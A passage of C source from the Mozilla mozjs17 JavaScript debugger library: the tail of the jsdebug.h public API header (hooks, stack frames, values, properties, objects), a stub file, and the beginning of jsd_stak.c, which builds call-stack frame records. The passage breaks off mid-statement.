JSD_SetSourceDirty is still supported, but * discouraged in favor of the JSD_GetSourceAlterCount system. This dirty * scheme ASSUMES that there is only one consumer of the data. */ extern JSD_PUBLIC_API(JSBool) JSD_IsSourceDirty(JSDContext* jsdc, JSDSourceText* jsdsrc); /* * Clear the dirty flag */ extern JSD_PUBLIC_API(void) JSD_SetSourceDirty(JSDContext* jsdc, JSDSourceText* jsdsrc, JSBool dirty); /* * Each time a source text item is altered this value is incremented. Any * consumer can store this value when they retieve other data about the * source text item and then check later to see if the current value is * different from their stored value. Thus they can know if they have stale * data or not. NOTE: this value is not gauranteed to start at any given number. */ extern JSD_PUBLIC_API(unsigned) JSD_GetSourceAlterCount(JSDContext* jsdc, JSDSourceText* jsdsrc); /* * Force an increment in the alter count for a source text item. This is * normally automatic when the item changes, but a give consumer may want to * force this to amke an item appear to have changed even if it has not. */ extern JSD_PUBLIC_API(unsigned) JSD_IncrementSourceAlterCount(JSDContext* jsdc, JSDSourceText* jsdsrc); /* * Destroy *all* the source text items * (new for server-side USE WITH CARE) */ extern JSD_PUBLIC_API(void) JSD_DestroyAllSources( JSDContext* jsdc ); /* functions for adding source items */ /* * Add a new item for a given URL. If an iten already exists for the given URL * then the old item is removed. * 'url' may not be NULL. * * ifdef LIVEWIRE url is treated as a char* and ownership is claimed by jsd */ extern JSD_PUBLIC_API(JSDSourceText*) JSD_NewSourceText(JSDContext* jsdc, const char* url); /* * Append text (or change status -- e.g. set completed) for a source text * item. Text need not be zero terminated. Callers should consider the returned * JSDSourceText to be the 'current' item for future use. This may return NULL * if called after this item has been replaced by a call to JSD_NewSourceText. */ extern JSD_PUBLIC_API(JSDSourceText*) JSD_AppendSourceText(JSDContext* jsdc, JSDSourceText* jsdsrc, const char* text, /* *not* zero terminated */ size_t length, JSDSourceStatus status); /* * Unicode varient of JSD_AppendSourceText. * * NOTE: At this point text is stored in 8bit ASCII so this function just * extracts the bottom 8bits from each jschar. At some future point we may * switch to storing and exposing 16bit Unicode. */ extern JSD_PUBLIC_API(JSDSourceText*) JSD_AppendUCSourceText(JSDContext* jsdc, JSDSourceText* jsdsrc, const jschar* text, /* *not* zero terminated */ size_t length, JSDSourceStatus status); /* * Convienence function for adding complete source of url in one call. * same as: * JSDSourceText* jsdsrc; * JSD_LOCK_SOURCE_TEXT(jsdc); * jsdsrc = jsd_NewSourceText(jsdc, url); * if(jsdsrc) * jsdsrc = jsd_AppendSourceText(jsdc, jsdsrc, * text, length, JSD_SOURCE_PARTIAL); * if(jsdsrc) * jsdsrc = jsd_AppendSourceText(jsdc, jsdsrc, * NULL, 0, JSD_SOURCE_COMPLETED); * JSD_UNLOCK_SOURCE_TEXT(jsdc); * return jsdsrc ? JS_TRUE : JS_FALSE; */ extern JSD_PUBLIC_API(JSBool) JSD_AddFullSourceText(JSDContext* jsdc, const char* text, /* *not* zero terminated */ size_t length, const char* url); /***************************************************************************/ /* Execution/Interrupt Hook functions */ /* possible 'type' params for JSD_ExecutionHookProc */ #define JSD_HOOK_INTERRUPTED 0 #define JSD_HOOK_BREAKPOINT 1 #define JSD_HOOK_DEBUG_REQUESTED 2 #define JSD_HOOK_DEBUGGER_KEYWORD 3 #define JSD_HOOK_THROW 4 /* legal return values for JSD_ExecutionHookProc */ #define JSD_HOOK_RETURN_HOOK_ERROR 0 #define JSD_HOOK_RETURN_CONTINUE 1 #define JSD_HOOK_RETURN_ABORT 2 #define JSD_HOOK_RETURN_RET_WITH_VAL 3 #define JSD_HOOK_RETURN_THROW_WITH_VAL 4 #define JSD_HOOK_RETURN_CONTINUE_THROW 5 /* * Implement a callback of this form in order to hook execution. */ typedef unsigned (* JSD_ExecutionHookProc)(JSDContext* jsdc, JSDThreadState* jsdthreadstate, unsigned type, void* callerdata, jsval* rval); /* possible 'type' params for JSD_CallHookProc */ #define JSD_HOOK_TOPLEVEL_START 0 /* about to evaluate top level script */ #define JSD_HOOK_TOPLEVEL_END 1 /* done evaluting top level script */ #define JSD_HOOK_FUNCTION_CALL 2 /* about to call a function */ #define JSD_HOOK_FUNCTION_RETURN 3 /* done calling function */ /* * Implement a callback of this form in order to hook function call/returns. * Return JS_TRUE from a TOPLEVEL_START or FUNCTION_CALL type call hook if you * want to hear about the TOPLEVEL_END or FUNCTION_RETURN too. Return value is * ignored to TOPLEVEL_END and FUNCTION_RETURN type hooks. */ typedef JSBool (* JSD_CallHookProc)(JSDContext* jsdc, JSDThreadState* jsdthreadstate, unsigned type, void* callerdata); /* * Set Hook to be called whenever the given pc is about to be executed -- * i.e. for 'trap' or 'breakpoint' */ extern JSD_PUBLIC_API(JSBool) JSD_SetExecutionHook(JSDContext* jsdc, JSDScript* jsdscript, uintptr_t pc, JSD_ExecutionHookProc hook, void* callerdata); /* * Clear the hook for this pc */ extern JSD_PUBLIC_API(JSBool) JSD_ClearExecutionHook(JSDContext* jsdc, JSDScript* jsdscript, uintptr_t pc); /* * Clear all the pc specific hooks for this script */ extern JSD_PUBLIC_API(JSBool) JSD_ClearAllExecutionHooksForScript(JSDContext* jsdc, JSDScript* jsdscript); /* * Clear all the pc specific hooks for the entire JSRuntime associated with * this JSDContext */ extern JSD_PUBLIC_API(JSBool) JSD_ClearAllExecutionHooks(JSDContext* jsdc); /* * Set a hook to be called before the next instruction is executed. Depending * on the threading situation and whether or not an JS code is currently * executing the hook might be called before this call returns, or at some * future time. The hook will continue to be called as each instruction * executes until cleared. */ extern JSD_PUBLIC_API(JSBool) JSD_SetInterruptHook(JSDContext* jsdc, JSD_ExecutionHookProc hook, void* callerdata); /* * Call the interrupt hook at least once per source line */ extern JSD_PUBLIC_API(JSBool) JSD_EnableSingleStepInterrupts(JSDContext* jsdc, JSDScript *jsdscript, JSBool enable); /* * Clear the current interrupt hook. */ extern JSD_PUBLIC_API(JSBool) JSD_ClearInterruptHook(JSDContext* jsdc); /* * Set the hook that should be called whenever a JSD_ErrorReporter hook * returns JSD_ERROR_REPORTER_DEBUG. */ extern JSD_PUBLIC_API(JSBool) JSD_SetDebugBreakHook(JSDContext* jsdc, JSD_ExecutionHookProc hook, void* callerdata); /* * Clear the debug break hook */ extern JSD_PUBLIC_API(JSBool) JSD_ClearDebugBreakHook(JSDContext* jsdc); /* * Set the hook that should be called when the 'debugger' keyword is * encountered by the JavaScript interpreter during execution. */ extern JSD_PUBLIC_API(JSBool) JSD_SetDebuggerHook(JSDContext* jsdc, JSD_ExecutionHookProc hook, void* callerdata); /* * Clear the 'debugger' keyword hook */ extern JSD_PUBLIC_API(JSBool) JSD_ClearDebuggerHook(JSDContext* jsdc); /* * Set the hook that should be called when a JS exception is thrown. * NOTE: the 'do default' return value is: JSD_HOOK_RETURN_CONTINUE_THROW */ extern JSD_PUBLIC_API(JSBool) JSD_SetThrowHook(JSDContext* jsdc, JSD_ExecutionHookProc hook, void* callerdata); /* * Clear the throw hook */ extern JSD_PUBLIC_API(JSBool) JSD_ClearThrowHook(JSDContext* jsdc); /* * Set the hook that should be called when a toplevel script begins or completes. */ extern JSD_PUBLIC_API(JSBool) JSD_SetTopLevelHook(JSDContext* jsdc, JSD_CallHookProc hook, void* callerdata); /* * Clear the toplevel call hook */ extern JSD_PUBLIC_API(JSBool) JSD_ClearTopLevelHook(JSDContext* jsdc); /* * Set the hook that should be called when a function call or return happens. */ extern JSD_PUBLIC_API(JSBool) JSD_SetFunctionHook(JSDContext* jsdc, JSD_CallHookProc hook, void* callerdata); /* * Clear the function call hook */ extern JSD_PUBLIC_API(JSBool) JSD_ClearFunctionHook(JSDContext* jsdc); /***************************************************************************/ /* Stack Frame functions */ /* * Get the count of call stack frames for the given JSDThreadState */ extern JSD_PUBLIC_API(unsigned) JSD_GetCountOfStackFrames(JSDContext* jsdc, JSDThreadState* jsdthreadstate); /* * Get the 'current' call stack frame for the given JSDThreadState */ extern JSD_PUBLIC_API(JSDStackFrameInfo*) JSD_GetStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate); /* * Get the JSContext for the given JSDThreadState */ extern JSD_PUBLIC_API(JSContext*) JSD_GetJSContext(JSDContext* jsdc, JSDThreadState* jsdthreadstate); /* * Get the calling call stack frame for the given frame */ extern JSD_PUBLIC_API(JSDStackFrameInfo*) JSD_GetCallingStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe); /* * Get the script for the given call stack frame */ extern JSD_PUBLIC_API(JSDScript*) JSD_GetScriptForStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe); /* * Get the 'Program Counter' for the given call stack frame */ extern JSD_PUBLIC_API(uintptr_t) JSD_GetPCForStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe); /* * Get the JavaScript Call Object for the given call stack frame. * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSDValue*) JSD_GetCallObjectForStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe); /* * Get the head of the scope chain for the given call stack frame. * the chain can be traversed using JSD_GetValueParent. * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSDValue*) JSD_GetScopeChainForStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe); /* * Get the 'this' Object for the given call stack frame. * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSDValue*) JSD_GetThisForStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe); /* * Get the name of the function executing in this stack frame. Especially useful * for native frames (without script objects.) * *** new for gecko 2.0 **** */ extern JSD_PUBLIC_API(JSString *) JSD_GetIdForStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe); /* * True if stack frame represents a frame created as a result of a debugger * evaluation. */ extern JSD_PUBLIC_API(JSBool) JSD_IsStackFrameDebugger(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe); /* * True if stack frame is constructing a new object. */ extern JSD_PUBLIC_API(JSBool) JSD_IsStackFrameConstructing(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe); /* * Evaluate the given unicode source code in the context of the given stack frame. * returns JS_TRUE and puts result in rval on success, JS_FALSE on failure. * NOTE: The ErrorReporter hook might be called if this fails. */ extern JSD_PUBLIC_API(JSBool) JSD_EvaluateUCScriptInStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe, const jschar *bytes, unsigned length, const char *filename, unsigned lineno, jsval *rval); /* * Same as above, but does not eat exceptions. */ extern JSD_PUBLIC_API(JSBool) JSD_AttemptUCScriptInStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe, const jschar *bytes, unsigned length, const char *filename, unsigned lineno, jsval *rval); /* single byte character version of JSD_EvaluateUCScriptInStackFrame */ extern JSD_PUBLIC_API(JSBool) JSD_EvaluateScriptInStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe, const char *bytes, unsigned length, const char *filename, unsigned lineno, jsval *rval); /* * Same as above, but does not eat exceptions. */ extern JSD_PUBLIC_API(JSBool) JSD_AttemptScriptInStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe, const char *bytes, unsigned length, const char *filename, unsigned lineno, jsval *rval); /* * Convert the given jsval to a string * NOTE: The ErrorReporter hook might be called if this fails. */ extern JSD_PUBLIC_API(JSString*) JSD_ValToStringInStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe, jsval val); /* * Get the JSDValue currently being thrown as an exception (may be NULL). * NOTE: must eventually release by calling JSD_DropValue (if not NULL) * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSDValue*) JSD_GetException(JSDContext* jsdc, JSDThreadState* jsdthreadstate); /* * Set the JSDValue currently being thrown as an exception. * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSBool) JSD_SetException(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDValue* jsdval); /***************************************************************************/ /* Error Reporter functions */ /* * XXX The ErrorReporter Hook scheme is going to change soon to more * Fully support exceptions. */ /* legal return values for JSD_ErrorReporter */ #define JSD_ERROR_REPORTER_PASS_ALONG 0 /* pass along to regular reporter */ #define JSD_ERROR_REPORTER_RETURN 1 /* don't pass to error reporter */ #define JSD_ERROR_REPORTER_DEBUG 2 /* force call to DebugBreakHook */ #define JSD_ERROR_REPORTER_CLEAR_RETURN 3 /* clear exception and don't pass */ /* * Implement a callback of this form in order to hook the ErrorReporter */ typedef unsigned (* JSD_ErrorReporter)(JSDContext* jsdc, JSContext* cx, const char* message, JSErrorReport* report, void* callerdata); /* Set ErrorReporter hook */ extern JSD_PUBLIC_API(JSBool) JSD_SetErrorReporter(JSDContext* jsdc, JSD_ErrorReporter reporter, void* callerdata); /* Get Current ErrorReporter hook */ extern JSD_PUBLIC_API(JSBool) JSD_GetErrorReporter(JSDContext* jsdc, JSD_ErrorReporter* reporter, void** callerdata); /***************************************************************************/ /* Generic locks that callers can use for their own purposes */ /* * Is Locking and GetThread supported in this build? */ extern JSD_PUBLIC_API(JSBool) JSD_IsLockingAndThreadIdSupported(); /* * Create a reentrant/nestable lock */ extern JSD_PUBLIC_API(void*) JSD_CreateLock(); /* * Aquire lock for this thread (or block until available). Increments a * counter if this thread already owns the lock. */ extern JSD_PUBLIC_API(void) JSD_Lock(void* lock); /* * Release lock for this thread (or decrement the counter if JSD_Lock * was previous called more than once). */ extern JSD_PUBLIC_API(void) JSD_Unlock(void* lock); /* * For debugging only if not (JS_THREADSAFE AND DEBUG) then returns JS_TRUE * So JSD_IsLocked(lock) may not equal !JSD_IsUnlocked(lock) */ extern JSD_PUBLIC_API(JSBool) JSD_IsLocked(void* lock); /* * See above... */ extern JSD_PUBLIC_API(JSBool) JSD_IsUnlocked(void* lock); /* * return an ID uniquely identifying this thread. */ extern JSD_PUBLIC_API(void*) JSD_CurrentThread(); /***************************************************************************/ /* Value and Property Functions --- All NEW for 1.1 --- */ /* * NOTE: JSDValue and JSDProperty objects are reference counted. This allows * for rooting these objects AND any underlying garbage collected jsvals. * ALL JSDValue and JSDProperty objects returned by the functions below * MUST eventually be released using the appropriate JSD_Dropxxx function. */ /* * Create a new JSDValue to wrap the given jsval * NOTE: must eventually release by calling JSD_DropValue (if not NULL) * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSDValue*) JSD_NewValue(JSDContext* jsdc, jsval val); /* * Release the JSDValue. After this call the object MUST not be referenced again! * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(void) JSD_DropValue(JSDContext* jsdc, JSDValue* jsdval); /* * Get the jsval wrapped by this JSDValue * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(jsval) JSD_GetValueWrappedJSVal(JSDContext* jsdc, JSDValue* jsdval); /* * Clear all property and association information about the given JSDValue. * Such information will be lazily regenerated when later accessed. This * function must be called to make changes to the properties of an object * visible to the accessor functions below (if the properties et.al. have * changed since a previous call to those accessors). * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(void) JSD_RefreshValue(JSDContext* jsdc, JSDValue* jsdval); /**************************************************/ /* * Does the JSDValue wrap a JSObject? * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSBool) JSD_IsValueObject(JSDContext* jsdc, JSDValue* jsdval); /* * Does the JSDValue wrap a number (int or double)? * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSBool) JSD_IsValueNumber(JSDContext* jsdc, JSDValue* jsdval); /* * Does the JSDValue wrap an int? * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSBool) JSD_IsValueInt(JSDContext* jsdc, JSDValue* jsdval); /* * Does the JSDValue wrap a double? * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSBool) JSD_IsValueDouble(JSDContext* jsdc, JSDValue* jsdval); /* * Does the JSDValue wrap a JSString? * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSBool) JSD_IsValueString(JSDContext* jsdc, JSDValue* jsdval); /* * Does the JSDValue wrap a JSBool? * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSBool) JSD_IsValueBoolean(JSDContext* jsdc, JSDValue* jsdval); /* * Does the JSDValue wrap a JSVAL_NULL? * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSBool) JSD_IsValueNull(JSDContext* jsdc, JSDValue* jsdval); /* * Does the JSDValue wrap a JSVAL_VOID? * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSBool) JSD_IsValueVoid(JSDContext* jsdc, JSDValue* jsdval); /* * Does the JSDValue wrap a primative (not a JSObject)? * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSBool) JSD_IsValuePrimitive(JSDContext* jsdc, JSDValue* jsdval); /* * Does the JSDValue wrap a function? * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSBool) JSD_IsValueFunction(JSDContext* jsdc, JSDValue* jsdval); /* * Does the JSDValue wrap a native function? * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSBool) JSD_IsValueNative(JSDContext* jsdc, JSDValue* jsdval); /**************************************************/ /* * Return JSBool value (does NOT do conversion). * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSBool) JSD_GetValueBoolean(JSDContext* jsdc, JSDValue* jsdval); /* * Return int32_t value (does NOT do conversion). * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(int32_t) JSD_GetValueInt(JSDContext* jsdc, JSDValue* jsdval); /* * Return double value (does NOT do conversion). * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(double) JSD_GetValueDouble(JSDContext* jsdc, JSDValue* jsdval); /* * Return JSString value (DOES do conversion if necessary). * NOTE that the JSString returned is not protected from garbage * collection. It should be immediately read or wrapped using * JSD_NewValue(jsdc,STRING_TO_JSVAL(str)) if necessary. * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSString*) JSD_GetValueString(JSDContext* jsdc, JSDValue* jsdval); /* * Return name of function IFF JSDValue represents a function. * *** new for gecko 2.0 **** */ extern JSD_PUBLIC_API(JSString *) JSD_GetValueFunctionId(JSDContext* jsdc, JSDValue* jsdval); /* * Return function object IFF JSDValue represents a function or an object * wrapping a function. * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSFunction*) JSD_GetValueFunction(JSDContext* jsdc, JSDValue* jsdval); /**************************************************/ /* * Return the number of properties for the JSDValue. * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(unsigned) JSD_GetCountOfProperties(JSDContext* jsdc, JSDValue* jsdval); /* * Iterate through the properties of the JSDValue. * Use form similar to that shown for JSD_IterateScripts (no locking required). * NOTE: each JSDProperty returned must eventually be released by calling * JSD_DropProperty. * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSDProperty*) JSD_IterateProperties(JSDContext* jsdc, JSDValue* jsdval, JSDProperty **iterp); /* * Get the JSDProperty for the property of this JSDVal with this name. * NOTE: must eventually release by calling JSD_DropProperty (if not NULL) * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSDProperty*) JSD_GetValueProperty(JSDContext* jsdc, JSDValue* jsdval, JSString* name); /* * Get the prototype object for this JSDValue. * NOTE: must eventually release by calling JSD_DropValue (if not NULL) * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSDValue*) JSD_GetValuePrototype(JSDContext* jsdc, JSDValue* jsdval); /* * Get the parent object for this JSDValue. * NOTE: must eventually release by calling JSD_DropValue (if not NULL) * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSDValue*) JSD_GetValueParent(JSDContext* jsdc, JSDValue* jsdval); /* * Get the ctor object for this JSDValue (or likely its prototype's ctor). * NOTE: must eventually release by calling JSD_DropValue (if not NULL) * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSDValue*) JSD_GetValueConstructor(JSDContext* jsdc, JSDValue* jsdval); /* * Get the name of the class for this object. * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(const char*) JSD_GetValueClassName(JSDContext* jsdc, JSDValue* jsdval); /* * Get the script for the given value if the given value represents a * scripted function. Otherwise, return null. */ extern JSD_PUBLIC_API(JSDScript*) JSD_GetScriptForValue(JSDContext* jsdc, JSDValue* jsdval); /**************************************************/ /* possible or'd together bitflags returned by JSD_GetPropertyFlags * * XXX these must stay the same as the JSPD_ flags in jsdbgapi.h */ #define JSDPD_ENUMERATE JSPD_ENUMERATE /* visible to for/in loop */ #define JSDPD_READONLY JSPD_READONLY /* assignment is error */ #define JSDPD_PERMANENT JSPD_PERMANENT /* property cannot be deleted */ #define JSDPD_ALIAS JSPD_ALIAS /* property has an alias id */ #define JSDPD_EXCEPTION JSPD_EXCEPTION /* exception occurred looking up */ /* proprety, value is exception */ #define JSDPD_ERROR JSPD_ERROR /* native getter returned JS_FALSE */ /* without throwing an exception */ /* this is not one of the JSPD_ flags in jsdbgapi.h - careful not to overlap*/ #define JSDPD_HINTED 0x800 /* found via explicit lookup */ /* * Release this JSDProperty * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(void) JSD_DropProperty(JSDContext* jsdc, JSDProperty* jsdprop); /* * Get the JSDValue represeting the name of this property (int or string) * NOTE: must eventually release by calling JSD_DropValue * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSDValue*) JSD_GetPropertyName(JSDContext* jsdc, JSDProperty* jsdprop); /* * Get the JSDValue represeting the current value of this property * NOTE: must eventually release by calling JSD_DropValue (if not NULL) * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSDValue*) JSD_GetPropertyValue(JSDContext* jsdc, JSDProperty* jsdprop); /* * Get the JSDValue represeting the alias of this property (if JSDPD_ALIAS set) * NOTE: must eventually release by calling JSD_DropValue (if not NULL) * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSDValue*) JSD_GetPropertyAlias(JSDContext* jsdc, JSDProperty* jsdprop); /* * Get the flags for this property * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(unsigned) JSD_GetPropertyFlags(JSDContext* jsdc, JSDProperty* jsdprop); /***************************************************************************/ /* Object Functions --- All NEW for 1.1 --- */ /* * JSDObjects exist to allow a means of iterating through all JSObjects in the * engine. They are created and destroyed as the wrapped JSObjects are created * and destroyed in the engine. JSDObjects additionally track the location in * the JavaScript source where their wrapped JSObjects were created and the name * and location of the (non-native) constructor used. * * NOTE: JSDObjects are NOT reference counted. The have only weak links to * jsObjects - thus they do not inhibit garbage collection of JSObjects. If * you need a JSDObject to safely persist then wrap it in a JSDValue (using * jsd_GetValueForObject). */ /* * Lock the entire Object subsystem -- see JSD_UnlockObjectSubsystem * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(void) JSD_LockObjectSubsystem(JSDContext* jsdc); /* * Unlock the entire Object subsystem -- see JSD_LockObjectSubsystem * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(void) JSD_UnlockObjectSubsystem(JSDContext* jsdc); /* * Iterate through the known objects * Use form similar to that shown for JSD_IterateScripts. * NOTE: the ObjectSubsystem must be locked before and unlocked after iterating. * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSDObject*) JSD_IterateObjects(JSDContext* jsdc, JSDObject** iterp); /* * Get the JSObject represented by this JSDObject * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSObject*) JSD_GetWrappedObject(JSDContext* jsdc, JSDObject* jsdobj); /* * Get the URL of the line of source that caused this object to be created. * May be NULL. * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(const char*) JSD_GetObjectNewURL(JSDContext* jsdc, JSDObject* jsdobj); /* * Get the line number of the line of source that caused this object to be * created. May be 0 indicating that the line number is unknown. * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(unsigned) JSD_GetObjectNewLineNumber(JSDContext* jsdc, JSDObject* jsdobj); /* * Get the URL of the line of source of the constructor for this object. * May be NULL. * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(const char*) JSD_GetObjectConstructorURL(JSDContext* jsdc, JSDObject* jsdobj); /* * Get the line number of the line of source of the constructor for this object. * created. May be 0 indicating that the line number is unknown. * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(unsigned) JSD_GetObjectConstructorLineNumber(JSDContext* jsdc, JSDObject* jsdobj); /* * Get the name of the constructor for this object. * May be NULL. * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(const char*) JSD_GetObjectConstructorName(JSDContext* jsdc, JSDObject* jsdobj); /* * Get JSDObject representing this JSObject. * May return NULL. * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSDObject*) JSD_GetJSDObjectForJSObject(JSDContext* jsdc, JSObject* jsobj); /* * Get JSDObject representing this JSDValue. * May return NULL. * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSDObject*) JSD_GetObjectForValue(JSDContext* jsdc, JSDValue* jsdval); /* * Create a JSDValue to wrap (and root) this JSDObject. * NOTE: must eventually release by calling JSD_DropValue (if not NULL) * *** new for version 1.1 **** */ extern JSD_PUBLIC_API(JSDValue*) JSD_GetValueForObject(JSDContext* jsdc, JSDObject* jsdobj); /***************************************************************************/ /* Livewire specific API */ #ifdef LIVEWIRE extern JSD_PUBLIC_API(LWDBGScript*) JSDLW_GetLWScript(JSDContext* jsdc, JSDScript* jsdscript); extern JSD_PUBLIC_API(JSDSourceText*) JSDLW_PreLoadSource(JSDContext* jsdc, LWDBGApp* app, const char* filename, JSBool clear); extern JSD_PUBLIC_API(JSDSourceText*) JSDLW_ForceLoadSource(JSDContext* jsdc, JSDSourceText* jsdsrc); extern JSD_PUBLIC_API(JSBool) JSDLW_RawToProcessedLineNumber(JSDContext* jsdc, JSDScript* jsdscript, unsigned lineIn, unsigned* lineOut); extern JSD_PUBLIC_API(JSBool) JSDLW_ProcessedToRawLineNumber(JSDContext* jsdc, JSDScript* jsdscript, unsigned lineIn, unsigned* lineOut); #endif /***************************************************************************/ JS_END_EXTERN_C #endif /* jsdebug_h___ */ mozjs17.0.0/js/jsd/jsdstubs.c0000664000175000017500000000123212106270662015777 0ustar sstanglsstangl/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* this is all going away... replaced by code in js/jsd/java */ #if 0 #include "_stubs/netscape_jsdebug_Script.c" #include "_stubs/netscape_jsdebug_DebugController.c" #include "_stubs/netscape_jsdebug_JSThreadState.c" #include "_stubs/netscape_jsdebug_JSStackFrameInfo.c" #include "_stubs/netscape_jsdebug_JSPC.c" #include "_stubs/netscape_jsdebug_JSSourceTextProvider.c" #endif mozjs17.0.0/js/jsd/jsd_stak.c0000664000175000017500000003661312106270662015753 0ustar sstanglsstangl/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * JavaScript Debugging support - Call stack support */ #include "jsd.h" #include "jsfriendapi.h" #ifdef DEBUG void JSD_ASSERT_VALID_THREAD_STATE(JSDThreadState* jsdthreadstate) { JS_ASSERT(jsdthreadstate); JS_ASSERT(jsdthreadstate->stackDepth > 0); } void JSD_ASSERT_VALID_STACK_FRAME(JSDStackFrameInfo* jsdframe) { JS_ASSERT(jsdframe); JS_ASSERT(jsdframe->jsdthreadstate); } #endif static JSDStackFrameInfo* _addNewFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSScript* script, uintptr_t pc, JSStackFrame* fp) { JSDStackFrameInfo* jsdframe; JSDScript* jsdscript = NULL; JSD_LOCK_SCRIPTS(jsdc); jsdscript = jsd_FindJSDScript(jsdc, script); JSD_UNLOCK_SCRIPTS(jsdc); if (!jsdscript || (jsdc->flags & JSD_HIDE_DISABLED_FRAMES && !JSD_IS_DEBUG_ENABLED(jsdc, jsdscript))) { return NULL; } if (!JSD_IS_DEBUG_ENABLED(jsdc, jsdscript)) jsdthreadstate->flags |= TS_HAS_DISABLED_FRAME; jsdframe = (JSDStackFrameInfo*) calloc(1, sizeof(JSDStackFrameInfo)); if( ! jsdframe ) return NULL; jsdframe->jsdthreadstate = jsdthreadstate; jsdframe->jsdscript = jsdscript; jsdframe->pc = pc; jsdframe->fp = fp; JS_APPEND_LINK(&jsdframe->links, &jsdthreadstate->stack); jsdthreadstate->stackDepth++; return jsdframe; } static void _destroyFrame(JSDStackFrameInfo* jsdframe) { /* kill any alloc'd objects in frame here... */ if( jsdframe ) free(jsdframe); } JSDThreadState* jsd_NewThreadState(JSDContext* jsdc, JSContext *cx ) { JSDThreadState* jsdthreadstate; JSStackFrame * iter = NULL; JSStackFrame * fp; jsdthreadstate = (JSDThreadState*)calloc(1, sizeof(JSDThreadState)); if( ! jsdthreadstate ) return NULL; jsdthreadstate->context = cx; jsdthreadstate->thread = JSD_CURRENT_THREAD(); JS_INIT_CLIST(&jsdthreadstate->stack); jsdthreadstate->stackDepth = 0; JS_BeginRequest(jsdthreadstate->context); while( NULL != (fp = JS_FrameIterator(cx, &iter)) ) { JSScript* script = JS_GetFrameScript(cx, fp); uintptr_t pc = (uintptr_t) JS_GetFramePC(cx, fp); jsval dummyThis; /* * don't construct a JSDStackFrame for dummy frames (those without a * |this| object, or native frames, if JSD_INCLUDE_NATIVE_FRAMES * isn't set. */ if (JS_GetFrameThis(cx, fp, &dummyThis)) { JSDStackFrameInfo *frame; frame = _addNewFrame( jsdc, jsdthreadstate, script, pc, fp ); if 